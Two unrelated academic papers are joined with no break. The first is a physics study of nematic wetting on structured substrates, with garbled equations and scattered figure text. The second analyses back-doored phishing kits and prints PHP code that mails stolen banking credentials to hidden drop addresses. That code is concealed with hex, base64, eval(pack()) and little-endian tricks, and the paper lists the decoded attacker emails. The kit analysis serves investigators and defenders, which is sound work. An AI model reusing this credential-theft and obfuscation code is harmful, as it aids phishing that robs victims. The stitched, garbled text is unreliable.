Chi-Tuong Pham

Pedro Patr

Jose Manuel Romero-Enrique

Complete wetting transitions of nematic liquid crystals on a structured substrate

Keywords: numbers: 61, 30, Hn, 61, 30, Dk

In this article, we generalize Wenzel law, which assigns an effective contact angle for a droplet on a rough substrate, when the wetting layer has an ordered phase, like a nematic. We estimate the conditions for which the wetting behavior of an ordered fluid can be qualitatively different from the one usually found in a simple fluid. To particularize our general considerations, we will use the Landau-de Gennes mean field approach to investigate theoretically and numerically the complete wetting transition between a nematic liquid crystal and a saw-shaped structured substrate.

It is known that the wetting behavior of a fluid is deeply altered in the presence of rough or structured substrates. Leaves for instance have often developed a patterned texture, with micro reliefs, in order to adapt themselves to a particular humid environment [1]. Recently, technological advances allowed the controlled manufacturing of artificial micro structured substrates, which were used to show spectacular results concerning waterrepellency, switchable wettability, and other practical applications [2].

In this article, we will investigate the wetting behavior of an ordered fluid (a nematic liquid crystal), on a rough substrate. We will first review some simple considerations about isotropic fluids and rough substrates, and then we will generalize these ideas for the case of ordered fluids. We will particularize our study by considering the complete wetting of a nematic on a saw-shaped substrate. Quantitative results will be obtained by solving analytically and numerically the Landau-de Gennes free energy.

Consider two isotropic phases at coexistence (let us call them A and B phases), their bulk free energy densities being the same f A = f B = 0. Suppose now the B-phase is the one preferred in the far field, and our system is in the presence of a flat substrate or wall. The substrate interacts with the fluid through a local surface energy with strength w, which favors the A-phase. In this situation, an A-phase layer may appear close to the wall, because the decrease we have in the surface energy is already sufficient to compensate the creation of an interface between the two phases. Let us define the wettability function g(w) as g(w) = σ BW -σ AW where σ αβ is the surface tension associated to a flat α-β interface. For fixed bulk coexistence conditions, the wettability coefficient will depend on the strength of the surface energy, and usually is an increasing function of w. The Young equation yields g(w) = σ AB cos θ π where θ π is the contact angle of the sessile drop. Thus, as w increases, the contact angle θ π decreases. Eventually, θ π = 0 at the wetting transition, when the A-B interface unbinds from the substrate. In this case g(w = w t π ) = σ AB , where w t π is the transition value. For larger values of w, the interface remains unbounded as a thick A-phase layer is formed between the substrate and the bulk B-phase (complete wetting). The specific effective interactions between the wall and the substrate determine the order of the wetting transition as well as the role played by interfacial capillary wave fluctuations [START_REF] Sullivan | Fluid Interfacial Phenomena[END_REF][START_REF] Dietrich | Phase transitions and critical phenomena[END_REF][START_REF] Forgacs | Phase transitions and critical phenomena[END_REF]. Wetting on rough substrates presents a richer phenomenology than for flat substrates. Interfacial unbinding may occur via a sequence of different phase transitions like unbending (or filling) and unbinding [START_REF] Rascón | [END_REF]7]. However, a simpler picture arises if we assume wetting as a one-step transition. Then one can easily predict the wetting behavior of this fluid on a mesoscopically rough substrate by thermodynamic arguments. The partially filled phase has an excess free energy which can be related to the surface tension σ BW as ∆F 1 = Sσ BW , where S is the substrate surface area. At the complete filled situation, the excess free energy is given by ∆F 2 = Sσ AW + Aσ AB , where A is the A-B interface area, which coincides with the surface area of projection of the substrate onto the tangent plane (see Fig. 1). Wetting transition occurs for ∆F 1 = ∆F 2 , or equivalently for g(w = w t r ) = σ AB /r, where w t r is the surface coupling at the wetting transition for the rough substrate and r ≡ S/A > 1 is the substrate roughness. This result is consistent with Wenzel law [8], which assigns an effective contact angle for the sessile droplet on the rough substrate θ r as: cos θ r = r cos θ π . So, the wetting transition occurs for θ r → 0, in agreement with our previous result. Since g(w) is an increasing function of w, we find generally that w t r < w t π . This picture can be changed dramatically when the wetting layer has an ordered phase, as in the case of a nematic liquid crystal. For this case, the rough or structured substrate may impose a deformation on the ordered fluid, which must be accompanied by a positive elastic free energy ∆F e AW > 0. Note that the elastic deformation creates an effective long-range repulsion between the substrate and the wall: the closer to the substrate the interface is, the more constrained the order will be, leading to higher energies. Consequently, first-order wetting will be more likely to occur in this case. Again the wetting transition may be obtained by the free energy balance Aσ AB + Sσ AW + ∆F e AW = Sσ BW . Note that σ AW is the equilibrium surface tension associated to the ordered fluid-flat substrate in absence of any order parameter deformation. The critical surface field for a rough substrate, w t r , has to verify the relation g(w t r ) = σ AB /r + ∆F e AW /S. For the wetting of ordered fluids, w t r < w t π if distortions are not very important; w t r > w t π if the energy of the distortions is sufficiently large. If the effects of the elastic deformations are too strong, the energy balance may never be favored, for all values of the surface field w. In this last case, there will be no wetting transition.

We will particularize these considerations by choosing a periodic saw-shaped substrate characterized by an angle α (see Fig. 1). The plane of the paper is defined by the axes x and y. Out of the plane, the wedge is parallel to the z-axis. In our geometry, we defined two lengths, the length of the wedge side, L, and the height between the substrate and the isotropic (B ≡ I) phase at the farfield, H. Close to the substrate, a new nematic (A ≡ N ) phase may or not appear. In fact, for the complete wetting transition we are discussing, the length H will be unimportant, because the wetting layer, if it exists, has an infinite thickness.

Both isotropic and nematic phases can be represented by the Landau-de Gennes tensor order-parameter Q i,j . Owing to the traceless and symmetric character of the tensor order-parameter, it can be very generally represented by

Q i,j = 3 2 S[n i n j -1 3 δ i,j ]+ 1 2 B[l i l j -m i m j ]
where S is the scalar order parameter (S = 0 in the isotropic phase and S = 0 when some order is present), and B is the biaxiality [9]. The direction of maximal orientational order is given by the director n, and the unit vectors n, l, m form a local orthonormal triad.

In our problem, we will only consider in-plane deformations, although out-of-plane or twist deformations may also be important (a twist instability may occur for particular choices of parameters [10]). In this case, n = (cos θ, sin θ, 0), and the tensor order parameter has three independent components only, Q 11 , Q 22 , and Q 12 .

The system is described by the Landau-de Gennes free energy F LdG = V (f bulk +f el ) dV + S f surf ds where f bulk is the bulk free energy density, f el is the elastic free energy density [11], and f surf is the surface free energy. Here, we will take the commonly used rescaled expressions [9]:

f bulk = 2 3 τ Tr Q 2 - 8 3 Tr Q 3 + 4 9 [Tr Q 2 ] 2 (1)
f el = ξ 2 3 + 2κ [∂ k Q i,j ∂ k Q i,j + κ∂ j Q i,j ∂ k Q i,k ] (2)
f surf = - 2 3 w Tr[Q • Q surf ] ( 3
)
where τ is a dimensionless temperature, κ is an elastic dimensionless parameter, w is a dimensionless surface field or anchoring strength, and ξ is the so-called correlation length that will be set to 1 in the rest of the article. For τ = 1, the two phases are at coexistence, f bulk has two minima, which correspond to the scalar order parameters S I = 0 (isotropic phase) and S N = 1 (nematic phase). The elastic parameter is restricted to the values, κ > -3/2. If κ is positive (negative), the nematic prefers to align parallel (perpendicular) to the nematic-isotropic interface. Also, Q surf defines the favored tensor at the substrate. In our problem, we will favor a homeotropic (or perpendicular) alignment of the nematic at the substrate, and a bulk nematic scalar order parameter (S surf = S N = 1). This particular choice for the surface free energy was made in order to establish a direct connection to previous related papers [12,13].

Consider first the flat substrate (α = 0), already numerically studied in the literature [12,13]. At coexistence, τ = 1, it is straightforward to estimate each term of the balance equation. The non-wet isotropic configuration can be simply represented by the scalar order parameter profile S(y) = ae -y/y0 , and θ = π/2. Introducing this function in the total free energy F LdG , we obtain

F LdG /A = ∞ 0 (S 2 -2S 3 + S 4 + 1 2 S ′2
)dy -wS(0) where A is the area of the substrate, and S ′ = dS/dy. The free energy is minimized when y 0 = 1/ √ 2 + O(w), and a = w/ √ 2+O(w 2 ). If we use this solution, we obtain a very accurate value for the surface tension between the substrate and the isotropic phase in the non-wet configuration σ IW = -w 2 /(2 √ 2) + O(w 3 ). In order to calculate the surface tension between the substrate and the nematic phase, we may assume that the nematic director is everywhere oriented perpendicular to the substrate (θ = π/2), and that the scalar order parameter profile is described by S(y) = ae -y/y0 + S N . Following the same steps as before, we find σ NW = -w -w 2 /(2 √ 2) + O(w 3 ). Finally, the nematic-isotropic surface tension can be estimated through the ansatz S(y) = 1 2 [1 -tanh(y/2y 0 )] and assuming either the director is everywhere oriented either perpendicular (θ = 0) or parallel (θ = π/2) to the interface, which are the relevant situations for κ < 0 and κ > 0, respectively. If we introduce this function in the total free energy, and perform the integration over the whole real y-axis, we obtain the energy of the interface, depending on one free parameter y 0 . Minimization will give y 0 = 1/ √ 2, and the surface tension between the isotropic and the nematic phase is σ

⊥ IN = √ 2/6 ≈ 0.236 (θ = 0) and σ IN = σ ⊥ IN 3+κ/2
3+2κ (θ = π/2). In the latter calculation, we neglected the existing biaxiality. The balance equation may in this case be written as

g(w) = σ IW -σ NW = w + O(w 3 ) = σ IN (4)
where

σ IN = σ ⊥ IN for κ < 0 and σ IN = σ IN for κ > 0.
In the latter, the elastic contribution due to the director distortions in the nematic film due to the mismatch of the anchoring conditions at the substrate and the nematicisotropic interface should be included in the balance Eq. ( 4). However, this contribution vanishes with the nematic film thickness H as ∆F e /A ∼ 1/H, so it can be safely ignored at the wetting transition, where H → ∞. If for example κ = 2, the surface field for the complete wetting transition is w B = 0.18 ± 0.01 (see Eq. ( 4)), which is in excellent agreement with the numerical value obtained by Braun et al. [13]. Note that if we take

σ IN = σ ⊥
IN , the transition surface field is w S = 0.24±0.01, which is the numerical value obtained by Sheng [12].

We now turn to the rough substrate. Using Landaude Gennes free energy, it is easy to see that the elastic contribution scales as ∆F e = Kℓ∆ F e , where K is the Frank elastic energy and ℓ is the typical length of the rough substrate. If the nematic-isotropic interface goes to infinity, ∆ F e is a number only dependent on the substrate geometry, but not on its scale ℓ. To calculate the critical surface field for the wetting transition, we have the generalization of Wenzel law:

g(w t r ) = 1 r (σ IN + K ℓ ∆ F e ) ( 5
)
This equation is the main result of this work. For large enough substrate lengths ℓ, the effects of the elastic terms are not important, and Wenzel law is recovered. However, this law is significantly changed when ℓ ∼ K∆ F e /σ IN . In the Landau-de Gennes model, K and σ IN are not independent. For τ = 1 (phase coexistence), K/(ξσ IN ) ≈ 2.6/0.2. The elastic numerical factor was calculated for a sinusoidal grating [10,14],

∆ F e = (2π) 3 /4a 2 , where a is the ratio between the amplitude and the wavelength, l of the sinusoid. For our wedge geometry, we may use tan α = 4a, and α = π/4, to estimate L ∼ 35ξ (see Fig. 2 for definition of L), for which the elastic effects still play an important role.

To calculate the critical surface field, w t , for every angle α of our geometry, we numerically minimized the Landau-de Gennes free energy, using a conjugategradient method. The numerical discretization of the continuum problem was performed with a finite element method combined with adaptive meshing in order to resolve the different length scales [15]. As before, we restricted ourselves to the case of coexistence (τ = 1) and set κ = 2. We have imposed periodic boundary conditions (b.c.) on x in every calculation and assumed translational invariance along the z direction, so the problem reduces to an effective two-dimensional case.

To obtain the surface energy σ ⊥/

IN , isotropic (S = 0) fixed b.c. were imposed at the top of the domain and homeotropic (⊥) or parallel ( ) nematic (S = 1) fixed b.c. at the bottom. The energy F IW of the non-wet isotropic configuration was calculated by imposing isotropic fixed b.c. only at the top of the domain. At the bottom, there were no imposed b.c., and the surface free energy was taken into account. Finally, for the calculation of the energy F NW of a bulk nematic phase in contact with the substrate, fixed nematic b.c. were imposed at the top, with the director angle either set to θ = π/2 (perpendicular case) or to θ = 0 (parallel case), and different cell heights H were considered.

As an important check for our procedure, we recovered Braun's and Sheng's values of the transition surface field for α = 0: w t, π ≃ 0.1796 and w t,⊥ π ≃ 0.2417, by solving numerically the equation σ

⊥/ IN = σ IW -σ IN .
The agreement with our theoretical results is excellent as the w 3 corrections in g(w) can be neglected (see Fig. 2).

We now turn to the case where α is non zero. As expected for the non-wet isotropic configuration, we obtain that F IW (α, L, w) ∼ σ IW (w) × 2L, where σ IW (w) is the substrate-isotropic surface tension in the flat case. This result is essentially independent of the cell height H. On the other hand, F NW depends crucially on the geometrical parameters of the substrate, α and L. Numerical minimization shows that the global minimum configuration corresponds to the solution for θ = 0 at the top cell boundary for α ≤ π/4 and the minimum energy solution for θ = π/2 at the top cell boundary for α ≥ π/4. In both branches the energy F NW decreases with the cell height H, and converge to the relevant free energy to the complete wetting transition. These solutions mean that for α < π/4 the nematic wetting film configuration is an hybrid aligned nematic (HAN), where the nematic director is oriented along the y direction above the rough substrate, and changes smoothly to the planar anchoring at the NI interface. For α > π/4, the nematic film is essentially parallel (P) to the NI interface above the substrate. As the HAN and the P configurations are metastable for α > π/4 and α < π/4, respectively, a first-order HAN-P transition occur at α = π/4, analogous to that observed for sinusoidal substrates [16].

In order to compute the transition surface field at which complete wetting occurs, we solve the equation (F IW -F NW )/(2L cos α) = σ IN (equivalent to Eq. ( 5)) for different values of α and L. The left-hand side func- 4)). The slope increases with increasing L so that the transition surface field diminishes.

tion does not differ qualitatively from those found in the flat case except that the dependence on L at a given angle α is such that the slope increases with increasing L (see Fig. 2). Note that the smaller the slope, the higher the transition surface field. The transition surface fields are displayed in Fig. 3. The kink observed at α = π/4 is a consequence of the HAN-P transition at the nematic wetting film. For moderate values of L (L < 48), we can see that the transition surface field for a given L increases with α up to α = π/4, where the transition value w t r is larger than the corresponding one for the flat case, and decreases for larger α. For L 48, a change in the convexity of the curve at the origin occurs (see inset of π cos α to be recovered. Our numerical results confirm that prediction. They also show that for arbitrary L the deviation of the transition surface field with respect to that predicted by Wenzel law is larger around α = π/4, implying that the nematic director field is always more deformed for α = π/4 than for any other angle.

In this article, we generalized Wenzel law for nematics. We used the Landau-de Gennes model to investigate theoretically and numerically the complete wetting transition between a nematic liquid crystal and a saw-shaped structured substrate. One should keep in mind that the typical length of the structured surface should be only of order 30 ξ in order to observe large deviations from the Wenzel law. At these scales, it is not clear whether the mean field approach we are assuming still holds. Other physical phenomena may be present in real situations. Confirming these results experimentally may be a challenge.

Acknowledgements: P. P. thanks T. Sluckin and M. M. Telo da Gama for enlightening discussions.

FIG. 1 :

 1 FIG.1: Geometry of the system. A is the projected surface of the wedged (rough) surface S

FIG. 2 :

 2 FIG.2: Plot of (FIW(α, L, w) -FNW(α, L, w))/(2L cos α) vs. w at angle α = 35 • together with the flat case α = 0 and analytical results (Eq. (4)). The slope increases with increasing L so that the transition surface field diminishes.

Fig. 3 )

 3 : a new regime is reached where roughness favors complete wetting. For larger values of L (e. g. L = 96) the critical anchoring always decreases with α, and one should expect the elastic energy contributions to vanish for L → ∞ and Wenzel law w t r (α) = w t,

α


Heather Mccalley

Brad Wardman

Gary Warner

Analysis of Back-Doored Phishing Kits

Keywords: Cyber crime, phishing kits, obfuscation

Introduction

Despite the fact that there are numerous methods for defending Internet users against phishing attacks, losses from phishing appear to be growing. The number of unique phishing websites has remained fairly steady over the past three years [START_REF]Phishing Activity Trends Report[END_REF], but criminals are now tailoring their attacks by "spear-phishing" higher-value users and by spoofing smaller, more-defenseless banks [START_REF] Kitten | Online security: The vendor's role, BankInfoSecurity .com[END_REF]. As cyber criminals become more sophisticated, they enhance their profits by creating and distributing tools that facilitate the entry of others into the world of cyber crime.

As seen with the proliferation of the Zeus malware kit, criminals who do not possess the expertise to execute all the steps involved in cyber crime activities can employ automated methods [START_REF]Symantec, Symantec Report on Attack Kits and Malicious Websites[END_REF]. Novice phishers use automated tools to compromise web servers, send spam messages with malicious links and create phishing websites. Many of these tools are distributed by the underground hacking communities. This paper focuses on the operations of the hacking group known as "Mr-Brain."

Phishing is often perpetuated through sets of files called "kits" that are used to create phishing websites; the files in a kit are usually grouped together in an archive file format such as .zip or .rar. Investigators are typically trained to analyze the files within a kit for the "drop email address," which receives the stolen credentials gathered by the phishing website. The drop email address can be used to identify the fraudster behind the phishing attack.

The Mr-Brain hacking group has devised ways of hiding its drop email addresses in kit files so that a simple perusal of a kit does not reveal the email addresses. Such kits with hidden drop email addresses are referred to as "back-doored" kits [START_REF] Herley | Nobody sells gold for the price of silver: Dishonesty, uncertainty and the underground economy[END_REF]. These back-doored kits are distributed via the Internet to less-experienced fraudsters. After such a kit is downloaded, the novice fraudster only needs to unpack the kit and configure the files to send stolen credentials to his drop email address. However, the fraudster is likely unaware that the kit creator may have hidden his own drop email address(es) in files in the kit. The hidden email address(es) allow the kit creator to keep track of the distribution of the kit and to receive all the stolen credentials.

Background

The Mr-Brain group is notorious for its free, back-doored phishing kits that are distributed through websites such as thebadboys.org/Brain [START_REF]Mr-Brain phishing toolkit with side effects[END_REF] and www.scam4u.com [START_REF]Scam4u.com[END_REF]. Distribution websites typically offer downloadable phishing kits that target various organizations and brands. For example, at the time of writing this paper, scam4u.com and scam4all.com offer kits that target 33 brands, including versions in various languages for global brands such as PayPal and Visa. Many other distribution sites for free phishing kits are operational; they offer kits for at least 63 different brands along with numerous hacking tools. The targets include banks, electronic payment systems, credit cards, Internet service providers, online games, social networks and email providers.

In January 2008, after the Mr-Brain group had been phishing for at least two years, Netcraft [START_REF] Mutton | Mr-Brain: Stealing phish from fraudsters[END_REF], a British toolbar developer, attempted to expose the methods of the group by documenting the back doors in security blog posts that garnered the attention of the mainstream media. However, Mr-Brain's methods were already known to the investigator community as early as April 2007 [START_REF] Woirhaye | Stupid) Mr-Brain[END_REF]. Warner [START_REF] Warner | Mister Brain: Phishers scamming phishers[END_REF] noted that the earliest known Mr-Brain kits targeted America Online, e-gold, PayPal and Wells Fargo in January 2006. In December 2006, a discussion on a Bulgarian Joomla! forum [START_REF] Joomla | Forum post by user agbokata (forum[END_REF] documented a Read Me.txt file from a Wells Fargo Scam 2005, Powered by Begin, which showed novices how to add an email address to the file named verify.php. Although most of the obfuscation methods and associated drop email addresses have been discovered by now and are fully documented, the Mr-Brain group continues to thrive, providing easy entry to new cyber criminals while also stealing the credentials of Internet users.

In an attempt to accumulate intelligence on the hacking group and gain an understanding about how phishing kits are made, used and traded, we have documented and analyzed the types of obfuscation used by the Mr-Brain group. This research enables further automation of the intelligence gathering process regarding phishing schemes. Unlike other studies that analyze kits by running them on a virtual machine [START_REF] Cova | There is no free phish: An analysis of "free" and live phishing kits[END_REF], we have documented the characteristics of complete phishing kits in order to recognize signatures in phishing attacks where access to the entire set of files used to create a phishing website is not available. Our approach is motivated by the fact that most phishing investigators do not have access to the kit that was used to create the phishing website being investigated. Our approach also fosters the acquisition of intelligence related to criminal methods, which helps investigators and researchers to recognize new phishing trends.

An automated approach for detecting obfuscated drop email addresses was first tested on the source code of known Bank of America phishing websites that use a certain "action" file, a PHP script referred to in the HTML form code. The results of the test led to the creation of an extensible collection of algorithms for automatically identifying obfuscated email addresses in phishing website files.

Research into the Mr-Brain group has also contributed to the creation of a tool that recognizes common paths in order to request kits using GNU's wget from web servers that host phishing websites. This method results in a higher percentage of kits being downloaded compared with the manual exploration of each directory level associated with a URL.

Because many phishing kits contain obfuscated drop email addresses, either through the encodings discussed in this paper or through placement in a file that has an image or Javascript extension, investigators need to be aware that additional fraudsters can often be linked to a phishing attack (other than the individual identified by the plaintext email address found in the action file). The creators of freely-distributed phishing kits usually hide their email addresses in the kits, and the deobfuscation of these email addresses can enable an investigator to identify a higher-level criminal, who may be associated with many more instances of phishing attacks. The University of Alabama at Birmingham (UAB) PhishIntel Project [11] maintains an archive of phishing kits. Access to these kits is available to qualified researchers and investigators.

Identifying a Mr-Brain Kit

Phishing kits are usually distributed as .zip, .gz, .tar or .rar archives that contain a main phishing page (e.g., index.html), between two and five PHP scripts and an additional folder containing other content files that are needed to render a phishing website (e.g., cascading style sheets (.css), images (.gif) and JavaScript (.js) files). A kit can be identified as having been most likely created by the Mr-Brain group if it uses one or more of the obfuscation methods detailed below. Additionally, the obfuscated drop email addresses revealed in Mr-Brain kits tend to include addresses provided by Moroccan email services (country code .ma).

A manual review of a Mr-Brain kit begins with the visual examination of the source code of the main phishing page. This is often rendered in a browser with an HTML meta-refresh call to a file such as signon.php, where there may be a suspicious assignment statement to a scalar PHP variable named IP.

Tracing the use of the variable leads to the de-obfuscation of several drop email addresses. Note that if IP is not referenced in the same file where it is assigned, it is generally referenced in some other file that is referred to by the main phishing page using the include command. Investigators can use Windows 7 search capabilities to determine that IP is referenced in a file named Manix.php. The following code found in Manix.php and designated as Example 1 takes the value held in IP and uses the PHP mail command to send stolen credentials to a hidden email address:

$str=array($send, $IP); foreach ($str as $send) if(mail($send,$subject,$rnessage,$headers) != false) { mail($Send,$subject,$rnessage,$headers); mail($messege,$subject,$rnessage,$headers); }

The code above sends mail to the addresses held in a small array containing two pointers to email addresses. The first, send, is where a lower-tier fraudster is instructed to place his own email address (e.g., $send="your@email.here";). The second is IP, which is a back-door reference to the hidden email address revealed by determining the contents of the IP variable. The signon.php file assigns this value using the following code (designated as Example 2): $IP=pack("H*", substr($VARS=$erorr, strpos($VARS, "574")+3,136));

This code assigns the results of the PHP pack command to the variable IP using the Hex-to-ASCII decoding algorithm to decode a given substring. The substring is constructed as follows:

Assign the contents of the file referred to by the scalar variable erorr to variable VARS and extract a substring from it.

The variable erorr receives the contents of a file named in the scalar variable l with the following code snippet:

$erorr=file_get_contents($l);
The value of the variable l is set by: $l="login.php"; $l="login.php"; $d="details.php"; Therefore, erorr holds the contents of the file login.php.

The portion of the excerpt from signon.php above that reads strpos($VARS, "574")+3,136 uses the string now set to VARS (the contents of login.php) to select a substring from login.php that begins with the characters 574. At the location in login.php where the substring is found, the program advances three characters and sends the next 136 characters to the pack command. Examination of the login.php file reveals the following string of 136 characters follows a 574:

6d616e69787040686f746d61696c2e66722c6d616e69784 06d656e6172612e6d612c7a616872612e3030406d656e 6172612e6d612c6d616e69787040766f696c612e6672
The result of running the pack command on this string with H* as the format parameter is equivalent to decoding the string with the Hex-to-ASCII algorithm. Four email addresses are produced: manixp@hotmail.fr manix@menara.ma zahra.00@menara.ma manixp@voila.fr

The third line in Example 1 (i.e., code found in Manix.php) sends another email message to the address held in the variable Send, which is different from the send variable due to case sensitivity in the PHP language. The value of Send is assigned in an entirely different file, details.php, where the following code is found: <input type="hidden" name="user" value="<?echo $user; ?>"><input type="hidden" name="passcode" value="< ?echo $passcode; ?>"><input type="hidden" name= "state" value="<?echo $state; ?>"><input type= "hidden" name="Send" value="<?=base64_decode ("c2hvcGluZy1kYXRhYmFzZUBsaXZlLmZyLGxlaWxpQG1lbmFy YS5tYSxtYW5peEBtZW5hcmEubWEsc2hvcGluZy1kYXRhYmFzZU B2b2lsYS5mcg==");?>">

This code sets the value of Send to a string obtained by applying the Base64 decoding algorithm to the long, seemingly-random character string found in the quotation marks above. The Base64 encoding scheme hides email addresses from casual observers, but it is not too difficult to decode. Most Base64-type algorithms convert ASCII text by combining the two-byte (16 bit) representations of each character into groups of six bits. Using the example above, the 48-bit representation of the first three letters in the hidden email address (sho) are normally represented using six bytes, but the Base64 encoding converts them to a group of 6-bit chunks displayed as c2hv.

Decoding the string of interest using the Base64 decoding algorithm yields the following four email addresses: shoping-database@live.fr leili@menara.ma manix@menara.ma shoping-database@voila.fr

The final line in Example 1 sends stolen authentication credentials to the value held in messege [sic] that is built using lines interspersed throughout the code snippet in Manix.php: $message .= "User ID : ".$_POST['user']."\n"; $messege .= "honste"; $message .= "Date of Birth : ".$_POST['dob']."\n"; $messege .= "@"; $message .= "Security Number : ".$_POST[ 'securityno']."\n"; $message .= "- --------------------\n"; $messege .= "hotmail"; $message .= "IP Address : ".$ip."\n"; $messege .= "."; $message .= "HostName : ".$hostname."\n"; $messege .= "com"; $rnessage = "$message\n"; Note that the .= operator performs concatenation in PHP. The concatenation process produces the email address honste@hotmail.com.

Another obfuscation technique commonly observed in the source code of the main phishing pages employs encoded email addresses tagged with the name niarB (the word "Brain" spelled backwards). An example of this technique is illustrated below, where the email address akfal@hotmail.com is revealed in signon.php using the Hex-to-ASCII algorithm:

</head><input type="hidden" name="niarB" value="616b66616c40686f746d61696c2e636f6d"> <body id="default" class="twocol login"> Often a kit contains a readme.txt file, which contains instructions for the fraudster who downloads the kit. This file explains exactly where the fraudster needs to insert his email address in order to receive the credentials stolen by the phishing website. These insertions are generally made in the action file, a PHP file that is the target of an HTML form action attribute, which is executed when a victim submits the requested credentials. The action file in a Mr-Brain kit often contains a hacker signature or alias such as Created by Mr Brain or a display such as (from kimo. In some instances, the action files contain lines similar to the following (from kimo.php): eval(pack("H*", "6d61696c28226f75617a7a616e6940 6d656e6172612e6d61222c247375626a6563742c246d6 573736167652c2468656164657273293b"));

This code is similar to the code in Example 2, except that it is evaluated from within the action file, and the target string is passed to the pack command directly as an argument without having to be extracted from another string. Additional file names that are clearly indicative of the Mr-Brain group include MrBrain.php, BiMaR.php and Al3FrItE.php. Note that an "efrite" is a supernatural creature in Arabic and Islamic cultures; the word stems from the Arabic word for evil.

Mr-Brain kits typically contain several files that implement multiple types of email address obfuscation. It is believed that the group develops new obfuscation methods on an ongoing basis. When a method is discovered by researchers or new phishers, the group does not necessarily delete the method, but applies new obfuscation methods. Cova, et al. [START_REF] Cova | There is no free phish: An analysis of "free" and live phishing kits[END_REF] have enumerated several older phishing kit obfuscation methods that are still used in kits downloaded from active phishing pages in 2010.

By visually inspecting the modification dates of the files in a kit subfolder (typically named images), it is possible to determine the files that were altered most recently. This technique revealed a new obfuscation method in a file named mac ns16.css, which contained non-ASCII characters in a foreign script (Figure 1). This information is processed by signon.php, which contains the following functions: The functions clean, getc, gets, end of line and geterrors contain the commands necessary to build the PHP command: eval pack("h*",file_get_contents(images/mac_ns16.css));

Tracing this code involves several steps:

The function clean looks in details.php for the marker (1.

When it finds the marker, it extracts the following four characters that comprise the PHP command word eval.

The functions getc and gets join pieces of the command together. These functions are similar to the standard PHP language functions fgetc and fgets used to get a character and get a string from a file, respectively.

The function end of line includes commands to search the file details.php for the marker (2 and extract the next four characters that comprise the PHP command word pack.

The function finds the encoding format h* at the marker (3.

The function finds the name of the .css file (mac ns16.css) to be processed at the marker (((.

The PHP pack command takes various formats as its first parameter while accepting a string for the second argument. In the case of the example above, a command was constructed to convert the contents of the .css file from Hex encoding to ASCII encoding. However, the unusual detail about the obfuscation is that the PHP pack command is supplied with a different conversion format (h*) instead of the H* format observed in the past. This character pair indicates that the packed string should be evaluated little-nibble first, meaning that the relevant portion of the file is in little-endian notation, causing it to appear as unintelligible script when viewed in a text editor. Endianness is a low-level attribute of the representation format; little-endian indicates that the bytes are ordered with the least significant byte first. This type of obfuscation is referred to as "NUXI" obfuscation, where the word NUXI is derived from UNIX by reversing its nibbles.

Running the pack command in a PHP script on the contents of mac ns16.css produces text that is the reverse of the original text. The new file appears to be unintelligible, except for a middle portion shown below that contains the PHP code used to send credentials to additional drop email addresses: $message .= "----Created in 2008 By Mr-Brain ----\n"; $Brain="boa813@inbox.com,boa813@easy.com, boa813@hotmail.fr,zoka_1810936@boa813.freezoka.com, boa813@excite.co.uk,boa813@gmx.com"; $subject = "BankofAmerica ReZulT"; $headers = "From: Mr-Brain<new@bankofamerica.com>"; mail($Brain,$subject,$message,$headers);

In a live situation, the execution of the eval command would generate emails to these addresses.

The earliest obfuscation scheme associated with the Mr-Brain group was the use of an array to hide the construction of its drop email addresses from the users of a downloaded kit. An example of this method is shown below, where an email address is formed by resolving the cc variable to x100xs@gmail.com: $ar=array("0"=>"m","1"=>"x","2"=>"a","3"=>"1", "4"=>"@","5"=>"0","6"=>"s","7"=>".","8"=>"g", "9"=>"l","10"=>"i","11"=>"c","12"=>"o"); $cc=$ar $subj = Gendiaaa Aol Resultes mail(janekelly1888@yahoo.com, $subj, $msg) Mail("$cc", $subj, $msg)

Researchers have reverse-engineered a Caesar cipher obfuscation to reveal the drop email address hxcguy@gmail.com from a function named hive in a file named error.js. However, this obfuscation technique has not yet been implemented in the automated extraction process.

Results

Approximately 1,082 phishing kits were collected during the period July 16, 2010 to October 1, 2010. The kits were downloaded from live phishing websites in an automated manner by sending an HTTP request to the server hosting the phishing site that asked for .zip or .rar files by name from a list of more than 100 known phishing kit names. The list was created by UAB researchers, who had encountered phishing kits over several years of manually "tree-walking" phishing URLs.

Our manual review of hundreds of phishing kits has revealed that almost all the kits that employ obfuscation methods for hiding drop email addresses have some connection with the kits created by Moroccan hackers. Although the kits may have been edited and re-used by new fraudsters, the obfuscation methods are so sophisticated that the kit creators' email addresses remain hidden in the kits.

To investigate the obfuscation techniques, we ran an automated extraction tool against the downloaded kits. The automated tool searched for plaintext email addresses in addition to email addresses that were hidden using one of the following obfuscation methods: Hex Based Obfuscation: This method is indicated by the use of the digits 0-9 and the letters a-f in a string.

Base64-Encoded Obfuscation: This method is indicated by the commands eval, gzInflate and Base64 decode. Examples are addresses offset by getCookie or niarB.

Little-Endian Based Obfuscation (NUXI): This method, often found in .css files, is indicated by the use of a Hex pattern, followed by 04 plus a Hex pattern, followed by e2 plus a Hex pattern. Note that 04 indicates a little-endian "at" (@) and e2 indicates a little-endian "dot" (.).

Array Composition Obfuscation: This method is indicated by the presence of an array variable named $ar.

Two other obfuscation methods are currently implemented in the email extraction program. One is a combination of the Base64 and Array methods that requires a two-stage decoding, the other is the concatenation method discussed in Section 3.

Table 1 summarizes our experimental results. The extraction process produced 531 unique email addresses out of 6,052 total addresses. Al-though all the kits contained email addresses, there was a significant amount of overlap because many phishing websites were created using the same kits and because kit creators tend to use the same email address in multiple kits. Whereas a typical kit may contain one or two drop email addresses in its action file, a kit that employs obfuscation usually contains three to five additional drop email addresses.

The plaintext email addresses varied greatly because they correspond to the drop email addresses of the less-experienced fraudsters, who have extracted the files from the kits and placed them on a compromised server. Of the 531 distinct addresses, 218 were not visible as email addresses because they were hidden in the code in some way. Many of the obfuscated email addresses were obtained through Moroccan service providers (.ma domains) or email service providers for native French speakers (e.g., free.fr). Frequently, the same address is obfuscated in multiple ways in a kit, possibly because the kit creator is re-purposing files among kits.

Analysis of the extracted drop email addresses also reveals that the Mr-Brain group uses different sets of addresses for phishing schemes that target different brands. For example, the email aliases boa813@easy.com and ppl813@easy.com help differentiate between phishing results from campaigns targeting Bank of America and PayPal, respectively.

A small portion of the 531 email addresses correspond to "bounceback" addresses like new@hsbc.co.uk and new@lloydstsb.com. These addresses should not be discarded by investigators because the analysis of related bounceback email messages from the target brand's server can be a source of intelligence about a phishing campaign.

